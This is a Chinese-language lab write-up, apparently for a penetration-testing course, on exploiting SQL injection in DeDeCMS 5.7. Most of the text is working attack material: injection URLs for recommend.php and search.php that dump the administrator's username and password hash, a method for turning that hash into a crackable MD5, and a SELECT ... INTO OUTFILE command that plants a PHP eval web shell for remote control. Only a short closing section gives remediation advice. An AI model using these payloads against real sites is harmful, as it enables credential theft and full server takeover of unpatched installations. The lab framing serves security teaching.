DeDeCMS5.7版本SQL注入漏洞利用
實驗目的
通過本實驗理解DeDeCMS5.7版本存在SQL注入漏洞帶來的危害,掌握針對漏洞的利用方法,熟悉CMS框架SQL注入漏洞的防護方法。
實驗環境
滲透主機:win2k8
用戶名: college 密碼: 360College 目標靶機:cms-inject 用戶名: college 密碼: 360College 訪問網站:http://IP:8081
實驗步驟
第一步 錄目標靶機,啟動網站服務
1、啟動phpstudy(桌面圖標):
找到程序啟動位置
啟動服務
啟動成功時的表現
如果,顯示不是兩個綠色標志,則等待一會,按下重啟按鈕,再次嘗試。
第二步 滲透平台上訪問目標網站
(1)打開雲主機,輸入密碼360College登錄靶機
(2)輸入http://192.168.0.18:8081 訪問網站主頁:
第三步 利用SQL注入漏洞進行漏洞利用
(1)首先訪問“/data/admin/ver.txt”頁面獲取系統最后升級時間,(判斷是否是dede的cms 以及看看是否和這個漏洞相對應) 返回內容:
(2)訪問“/member/ajax_membergroup.php?action=post&membergroup=1”頁面,若返回內容:
表明可以進行SQL注入。
(3)利用SQL注入POC進行漏洞利用
http://IP:8081/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
執行后的效果為直接暴出用戶名、密碼。
與密碼相關的信息細節如下
其實,在search.php頁面,也存在注入漏洞。
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
執行結果如下:
即可得到管理員用戶名和密碼散列值。
重要說明: 得到的是20位的散列值,去掉前三位和最后一位,得到管理員的16位MD5值。 dedecms織夢管理員的密碼使用了MD5_16加密算法加密后經過運算生成一個20位的字符串。這個密文是用密碼通過32位的MD5加密規則,再去除前5位后7位而產生的。32位密文轉換成16位,其實就是取中間的16位。也就是說要在前面和后面分別去除8位。那么在20位密文中,只需要去除前3位和最后1位,就可以得到16位密文了。
這里的MD5應該為8e53a7600982b533
去https://md5.navisec.it/ 查詢。 查到密碼為admin360。
(此處得到的散列值,可能不一樣,但是,查詢到的密碼值是一樣的)
注意:很多從網上直接復制過來的POC,直接粘貼在地址欄,無法攻擊成功。原因在於,復制過來的內容里面添加了很多回車符號!!! 切記,要放在word里面,去掉回車符號,成為一句話,才可以的。
登錄網址:http://192.168.0.18:8081/dede。
以獲取的口令密碼登錄成功
問題與解決: 如果登錄頁面為空,則在服務器端,將php版本切換為5.3.29+apache。重啟后,進行登錄實驗。
#2、漏洞的其他利用方式
轉換思路,可利用phpmyadmin數據庫上傳小馬。
在靶機的后台,http://IP:8088,登錄后,進入dedecms數據庫。
於是,利用Havij 利用phpmyadmin執行sql命令:
select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/Dedecms57/install/insta11.php'
在Dedecms的install目錄下,生成insta11.php,然后用菜刀連接。 菜刀連接路徑:http://IP:80881/install/insta11.php,連接密碼cmd。
(具體過程,可參考phpcms漏洞利用實驗)
思考與總結
針對此漏洞的解決方案:升級DedeCms 至最新版;增加“membergroup”參數過濾。
所以,建議,網站運維人員,要密切關注產品廠商信息,及時升級到最新版本。